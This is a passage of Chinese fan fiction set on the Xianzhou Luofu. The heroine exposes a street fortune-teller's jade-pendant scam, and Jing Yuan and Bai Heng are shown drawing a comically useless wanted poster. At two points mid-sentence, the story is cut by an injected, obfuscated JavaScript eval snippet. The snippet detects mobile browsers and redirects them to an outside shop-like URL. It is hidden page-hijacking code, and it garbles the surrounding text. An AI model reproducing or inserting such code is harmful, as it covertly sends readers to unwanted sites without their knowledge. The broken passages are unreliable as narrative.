或许她不应该多管闲事的,她现在应该与同镜流有关的人和事保持一定距离,避免更多的巧合发生,造成无法控制的麻烦。 但是洛清管了。 . . . 「我和他的相遇始于一场巧合。」 「对于寿数漫长的长生种而言,他们的一生会遇到数不胜数的人。」 「人与人之间,彼此相遇很简单,为彼此停留却很难。」 8. 清夜无尘 星槎海中枢张贴了一张通缉令。 仅仅一天时间,大街小巷就对这张突如其来的“皇榜”议论纷纷,一大早就有来看热闹不嫌事大的居民甚至游客围着布告栏高谈阔论。 洛清自然也不例外。 说得再清楚一点,她就是来“揭皇榜”的。 洛清带着帽子和口罩,一边防止自己太过显眼吸引到了别人的注意,一边又要防止自己太不起眼而起到反效果。 她左看看又瞧瞧,而后挤呀挤挤呀挤,终于慢悠悠地挪到了人群最前端,看清了那张通缉令。 【鳞渊境女刺客,同伙已被缉拿,涉及持明一族安危,有信息者可联系十王司,联系方式xxxxxxxxx】 只见文字上方附带一张电子人像,虽然是电子版本,但明眼人都看得出来是手绘以后电子扫描上去的,圆滚的脸蛋,豆大的眼珠,浓厚的眉毛,还有潦草的头发......是一幅完完全全的简笔画。 洛清一把扯下了自己的口罩。 这是我吗??? 通缉令没有美颜就算了,怎么还带丑化的,这还是个人吗?谁谁谁谁把自己画成这副模样?! 洛清意识到自己虚惊一场,因为这张通缉令年龄不详身高也不详相貌更是不详,她就是直接演都不演了站公告栏边上,估计都没人对得出来和上面的人有关系。 这抓得到可就有鬼了,罗浮的中央端可真是一群草台班子。 要么就是镜流也知道抓到自己的可能性不大,所以只是挂着走个过场,要么就是......自己真的和这一坨很相像......洛清重新看了一眼通缉令,看到上面那一块不可名状之物后极速收回了视线。 ......她觉得第二种可能性不大。 不过这样的通缉令应该对她没有什么影响,确定这件事情以后,洛清退出熙熙攘攘的人群,正打算离开此地,谁知一个走神,不知哪里冒出来一团硬邦邦的东西猛得撞上她的后背,撞得她一个踉跄。 嗯? 而后,洛清就被一个毛绒绒的脑袋吸引了目光,只见一个穿着毫不起眼的男人从眼前掠过,撞了洛清之后,道歉也没有眼神示意也没有,反倒是神色紧张,四下张望,脚步碎杂,完完全全忽略了自己还撞了个人。 跟他一比,景元算是礼貌极了。 说回重点,洛清看此人的行为略微有些反常,便多留了一个心眼,假装朝另一个方向走了两步,又回头偷偷看了他一眼。 本是没什么,谁知时机就那么正正好好,只见那人左看看,右瞧瞧,确认没什么人注意到自己之后,就这样把一枚看起来价值不匪的玉佩扔进了垃圾桶。 洛清:? 怎么说呢,洛清确实不太理解他这种行为,如果是他自己的玉佩,扔掉又何必防着他人,若是他为了钱财盗窃而来,那扔了又是何意? 真是个奇怪的人。 罢了。 洛清又往前走了几步,不远处是一个小型商界,几个小吃摊和首饰摊的中间摆了一个算命摊,一个穿着华服的男人举着面小旗子坐在摊位上,俨然一位赛半仙,他面前坐着一位女生。 “若是掷出三枚花钱,就当是我们命中有缘,我替你将玉佩寻回。” 罗浮繁华,星槎海更是交通要塞,这些大大小小的商贩基本都是司空见惯,洛清本没有在意,但好巧不巧听到了这句话,里面的“玉佩”二字让她不由得停下脚步。 毕竟她刚刚才见过一枚玉佩,虽说不一定肯定有关联,但好奇心总归是勾起来了,她顺势凑到摊子面前,看看那“半仙”接下来打算做什么。 来算命的女生面若秋波,看上去十分恬静,两侧的发丝贴在白皙的脸颊上,一双骨节分明的手接过铜钱罐。 她动作十分随意,神情也没有多认真,轻轻一晃,就晃出三枚花钱来,引得半仙惊叹连连。 女生的眼睛亮了一瞬,忽闪着望向“半仙”,在看到“半仙”举起三根手指的时候,眼里的光少了一半。 到这里,洛清基本都看懂了。 算命大师,姑且叫他大师吧,会在人头攒动的地方摆摊,必然不会是做慈善,他的意思是,要想找回玉佩,得先让这位姑娘付钱。 难怪那人拿着玉佩鬼鬼祟祟,不自留却要防人,想来和这位“半仙”是一伙人,一个负责偷玉佩,一个负责“算玉佩”,一起做了个局骗人钱财呢。 要不了多久,这位“半仙”应该就能“算”出玉佩在垃圾桶里面了,实在是神机妙算,半步登神...... 这姑娘看上去模样清瘦,衣着朴素,不像是有钱人家,或许那玉佩是她身上为数不多的值钱物品了,洛清想了想,就当善人结善缘,这闲事她管了。 “我猜你那个小罐罐里面,应该全是花钱吧?或者......近九成都是?说起来这早八百年就不流行的冷门小把戏......一罐里几枚花钱,几枚厉钱,不同花色的花钱分别代表什么含义,你都清楚吗?” 洛清半路横插一脚,还在犹豫的女生惊讶地望向身边,和她一起跟过来的还有“半仙”不知所谓的眼神。 “这位......朋友,我应该不认识你吧?我在这里摆摊做点小本生意,何必要砸我的场子呢?你这做法是不是有些不太道德?” “嗯?既然是你的老本行,这些‘专业知识’应该信手拈来吧?怎么一条也说不出来呢。” 自己在这里当江湖骗子,居然还扯道德和品质,洛清懒得和他白费口舌,回头看向那位女生:“姑娘,你信他不如信我,也能帮你算玉佩,还不收钱。” 洛清一边说,一边超绝不经意露出一张证来。 “这是,啊,太卜司的证?还是玉阙太卜司的?” “半仙”不信邪地凑上去,眼珠子直溜溜地盯着那张证,首先映入眼帘的就是那大红色的玉阙官方印戳,印证着这张证明的真实性,而后还没怎么看清,洛清就迅速收了回去。 他可没有什么专业的职业证明,他在星槎海摆摊,连经营许可证都没有,地衡司的人打过来就得跑的那种。 “按你的规矩,不如我先投个钱吧。” 洛清四处望了望,扔玉佩的垃圾桶就在不远处,那个同伙似乎没有明目张胆去把玉佩捡回来的想法。 而“半仙”明显还想试图为自己辩解什么,他张了张口,洛清一个眼神过来,又缩起了脑袋。 “又是三枚花钱,今日运势不错,我已经感受到了天意。” 洛清一挑眉,带着那女生往垃圾桶的方向走去,而仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154396|196514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妄图挣扎的“半仙”跟在后面,看到洛清蹲下身子,把玉佩捡出来之后,心瞬间冷了几分。 他当即一个眼神,示意他的同伙。 不知从哪里冒出来的黑影直直朝正在起身的洛清冲过去,对着她的背重拳出击,力气之大,速度之快,以至于洛清一个闪身,他扑了一个大空之后,差点没有停住脚步,身体因为惯性前倾,弯都转不过来。 好在他自认为自己定力和反应力都不错,最后也是刹住了车,还没松上一口气,洛清一脚踹上他的屁股。 黑影就这样栽进了垃圾桶里。 洛清看了眼那位头蒙在桶里的同伙,而后把玉佩捏在手中举起,一边在“半仙”眼前晃来晃去,一边笑眯眯地走近他。 眼看着同伴的袭击以失败告终,“半仙”的表情彻底僵了,这位乍一看平平无奇的姑娘居然还怪灵活的,不知道为什么,他总觉得洛清下一秒就要揍他似的,他一边后退,一边解释: “女......女侠!” “......” “大家都是为了谋生罢了,小本生意,我只是每天在这里用花言巧语和小把戏赚一点辛苦钱......你看我要价也不高是吧?” “......” “大家在罗浮讨生活都不容易,摆个摊,总好过去接什么星槎海上的那人鬼都看不出就要我们提供线索的通缉令,若是谁试图去拿那份赏金,那才真是三天饿九顿...... ” 那确实,毕竟通缉令本人就站在这里,但是零个人看了出来。 不过那通缉令就别提了=_= “半仙”节节后退,一边哆哆嗦嗦地解释,一边冷汗直流,然后撞上一个结结实实的胸膛。 他回头,只见一个身着地衡司制服的人严肃地看着他,他举起自己的证件,铁面无私地声音响起: “我们接到匿名举报,说这里有无证摊贩诓骗市民财产,你们都跟我走一趟吧。” . . . 洛清自认为在所有巡海游侠里,她都称得上情绪稳定,脾气良好,就比方说今天这件事,若是换了别人,他们的摊位未必能完好无损,人也未必能完好无损。 到底罪不至此,洛清也没有打算赶尽杀绝,交给专业的人即可,早在出手之前,洛清就事先用市民热线的账号联系了地衡司。 如今小贩正法,洛清做完笔录之后,就和那姑娘离开了地衡司。 景元刚来地衡司的时候,正巧和洛清擦身而过,风吹过额间的发丝,熟悉的感觉让景元侧目,却只看到了洛清的背影。 “刚刚那个女孩......” 这回景元一眼就认了出来,只不过人家好像根本没注意自己,不记得了,不认识,还是根本不在意? 一旁的同事一边打字记录事件经过,一边抬头看了一眼走进地衡司的景元: “哦,小事,星槎海有个无证摊贩袭击伤人,她俩算是正当防卫,做了个笔录就走了。” 见景元的目光还留在那道背影上,同事笑了起来: “是吧,我也觉很得漂亮!” 景元若有所思,听到这带点打趣的话,回过神来解释道: “......我不是这个意思。” 9. 清夜无尘 是夜。 十王司的某个办公室灯光明亮,而屋外游荡的岁阳早已习惯这样的灯火,估计又是哪个辛苦的罗浮打工人在熬夜加班。 屋内不断传来声音,游荡的岁阳打着重重的哈欠,一旦声音响起,便阴恻恻地变换表情,棱角分明像被静电电过似的,屋内陷入安静以后,又慢慢变回圆滚滚的模样。 “诶,等一下,这眼睛不对,师父说她的眼睛炯炯有神!你画大一点。” “哦,等等!是长发,你再画长一点......啊呀,歪了,算了,全涂黑吧。” “嗯......眉毛?师父没说啊,不过人的眉毛都差不多吧,额......啊?这.......就这样吧。” “你盯着我作甚?哎呀,我可没有这舞文弄墨的天赋,我不画,我画不好的......” 一顿指挥过后,白珩终于从一堆白花花的纸堆中抬起头来,郑重其事地望着手中那一张纸。 园滚的脸蛋,豆大的眼珠,浓厚的眉毛,还有潦草的头发...... 是一幅完完全全的简笔画。 暂时没有看出来是人的风险。 她欲言又止,犹豫再三,沉默许久后,终于把画转了过来,正对那位“指挥官”: “景小元,你确定就画成这样吗?” ......好像什么都看不出来。 “我们这样能抓到人?” 景元心虚地看了眼窗外,面目狰狞的岁阳似乎都在嘲笑这副杰作,他咽了咽口水,语气坚定得好像他第一天加入云骑军: “......确定。” 好敷衍啊...... 看着白珩百思不得其解的表情,景元试图安慰道:“通缉令其实不重要,横竖师父没看清那人的脸,画成什么样子都一样。往好处想......你让师父来画,她还未必有我俩画得好。” “......你应该不会和她告状吧?” “景元,我还是不太理解,既然一定抓不到人,为什么我们非要贴这通缉令?” 景元呼吸一滞,像是有些为难,他知道像白珩这样习惯了直来直去的人未必会了解这些,所以尝试组织语言,“我怎么和你解释呢......” “文书部门草拟解决方案的时候,其中正好也有通缉令的审批,审批下达后,无论我们贴不贴,这笔经费都已经存在了,不贴的话,那已经批下来的经费就会成为中间某个部门的油水......挪用来做其他的事情其实是不合规的。” “但女刺客不知样貌,所以虽然经费拨出去了,实际下手依旧问题重重......这是他们十王司内部的决策问题,但已经下达的决策,一般都是不会收回去的,秋后算账的时候也不会算到一张通缉令的头上去,所以没人会管它的存在合不合理。” “嘶......景小元,你才在地衡司几天呀?我怎么觉得你都腌入味了?”白珩一脸震惊。 “哈哈,不过你不用担心,我们只是师父拉来帮忙的场外援助......十王司的决策不影响我们查案,白珩,我已经想到办法了,而且一个不算坏的消息......我们这几天的行动,都可以给十王司的财务部门开发票哦。” 景元眉眼弯弯。 白珩盯着那张一言难尽的通缉令,嫌弃的眼神外露,听到不用花钱公费吃饭之后,脸色终于好看了起来。 所以这张通缉令最终存在的理由,居然是因为仙舟人刻在骨子里的“来都来了,给都给了,做都做了”? 但白珩终究没多说什么,她点击一旁的玉兆系统,一幅发着光的电子版本就这样被扫描了出来。 说到底,这热闹也是自己要凑的,镜流的忙也是她主动要帮的,甚至好好在地衡司打工的景元也是她心血来潮拉过来陪绑的。 明明刚刚回到罗浮的时候,镜流还嘱咐自己好好休息,这转头就掺和起了她老人家的事情。 “那镜流已经抓到的那个黑衣人,你去录口供的时候,他有说什么有用的东西吗?” 景元把那张惨不忍睹的手绘画像对折又对折,而后扔进了垃圾桶,回忆起去十王司大牢的情景: “他说自己是龙尊大人的爱慕者,路过的时候情不自禁多留了一会,想碰碰运气看能否见到龙尊大人。” “啊?他不是男的吗?丹枫......?” 白珩刚塌下去的耳朵尖尖竖了起来。 “至于那女生,他,额,他说,是......同好?两人一见如故,多聊了几句,那女生说自己师承玉阙,便好心给他算运势的。” “我们龙尊大人人气真高呢......!” 景元无奈笑笑:“你觉得他的话可信几分呢?” “如果只是路过,他们跑什么呢?” “对呀,他们跑什么呢。而且我事后检查过鳞渊境外围的监控摄像,早不坏晚不坏,偏偏他俩在的时候坏,这能是巧合吗?” “不过......到底他也没有真的进鳞渊境造成损害,顶多算个......擅闯持明重地未遂?他要是真的一口咬死自己只是路过,我们还真得把他放了。” “所以......你接下来有什么计划吗?说来听听?” 别看景元现在似乎表现得很难下手的样子,但以白珩对他的了解,一般他能说出这许多来的时候,配套的鬼点子基本已经生成了。 若是什么事情能让景元沉默到一句话都说不出来,那才是真的要完。 景元的眼光落在那张人模鬼样的电子人像上,若有所思道:“说起来,那日去鳞渊境的时候,师父提及,自从丹枫哥多年前从玉阙那场战争回来以后,这样不明来历看上去跟寻仇似的人......不在少数。” “比起一个萝卜一个坑,把他们一个个送往十王司,他更想知道其中根本,或许这是一个契机呢,可以顺藤摸瓜找点线索,至于怎么找嘛......” 景元笑了起来。 . . . 洛清离开地衡司的时候,那个女生仍然在身边。 说实话,她有些内向,或者说......长得好看的应该叫清冷?总之她跟了洛清一路,从找到玉佩再到地衡司做笔录,再到如今俩人走出地衡司,她都没怎么说过话。 洛清不常遇到这样沉默内敛的人,和她站在一起,洛清觉得自己也快变成社恐了。 “谢谢你。” 忽然间,那女生停下脚步,冷不丁来了这么一句话,声音轻微,一双眼睛直勾勾地盯着自己,这里面或许包含了感激、无措、害羞......可能还有一点社恐了实在不知道说什么又想说点什么的纠结,给洛清弄得都有些紧张。 “一点江湖小把戏而已,举手之劳,你就当是我在......行侠仗义?总之是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154397|196514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己乐意,你不用有心理负担。” 洛清眼神飘忽,想起刚才的“见义勇为”,再回想起那些话的时候,自己都有些想笑,而后凑到女生耳边轻声说了一句: “还有......那些其实都是我瞎扯的。” “啊?”女生稍稍后退,表情闪过一瞬错愕。 “这种掷铜钱类型的玄学?并不受玉阙官方认可,倒是很多民间大神说非常灵验,你应该能明白我的意思吧?” 意思就是基本都是骗人的。 今天是花钱厉钱,明天变个说法,可能就是黑钱白钱了。 “不过在签筒里面放满吉签这种做法一直都有,毕竟对于普通人来说,讣告吉凶都是求个心理安稳,这样做有助于提升居民幸福指数,这个在玉阙官方内部不算秘密,还有......” 洛清又把刚才的证翻出来,露出上面的日期来,然后眉眼弯弯,露出一个笑容。 是一张已经过期的证。 “其实这是我......母亲的,因为一些特殊原因,她已经不在太卜司工作了。” 说起来,洛清的母亲在做巡海游侠之前还是太卜司的公务员,一遇到当时已经是巡海游侠的帅气爹爹就发狠了忘情了没命了,说什么也要跟着他走了。 当年小小的洛清一直觉得她是被爱情冲昏了头脑,主动放弃了香香的铁饭碗,但她母亲一直坚持,自己其实是为了理想。 “玉阙......太卜司?” 提到这里的时候,女生迟疑了一瞬,她欲言又止,似乎是在犹豫什么,最终下定决心问道:“玉阙的卜者......真如传闻中所言,能洞悉万物,知晓未来吗?” 那姑娘多问了一句玉阙太卜司相关,洛清有点讶异普通人居然会对这些感兴趣,和她本人展现出来的刻板印象有些冲突。 但洛清也确实回答不上来。 “我不知道。” “或许玉阙的将军真有秘法,但我更相信......成事在人吧。” . . . 洛清和女生分别后,径直朝先前逃跑时经过的小巷走去。 她还有一件事,就是把先前扔掉的外套找到。 这也是个隐患,虽说小巷里没有监控,这件外套大或许会被当成垃圾处理掉,但不怕一万就怕万一......若真是被有心之人捡走了,有些东西是说不清的。 洛清的运气很好,她顺着原路找过去,衣服根本没人动过,还原原本本地躺在地上,远远望到那一抹熟悉的色彩的时候,她不动声色地走过去。 然后停下了脚步。 她察觉有人在跟着她,或许现在目光还停留在自己身上。 洛清找衣服的表现比较收敛,一般人或许不会觉得她在找什么东西,只是在散步,就算看出来了,也未必意识到她就是在找衣服。 也不知道跟着自己的这个人是何用心。 行走寰宇多年,洛清虽然做不到戏文里所谓神乎其神的“眼观六路,耳听八方”,但这一点感知力还是有的。 而正四方无人的话,一般都可以试试—— 看上面。 洛清抬头。 而后在斜前方的树上,看到一张熟悉的脸。 他正抱剑斜倚在背后粗粝的树干边上,金色的眼眸正毫不避讳地盯着自己看,洛清一时间无法判断他看了多久。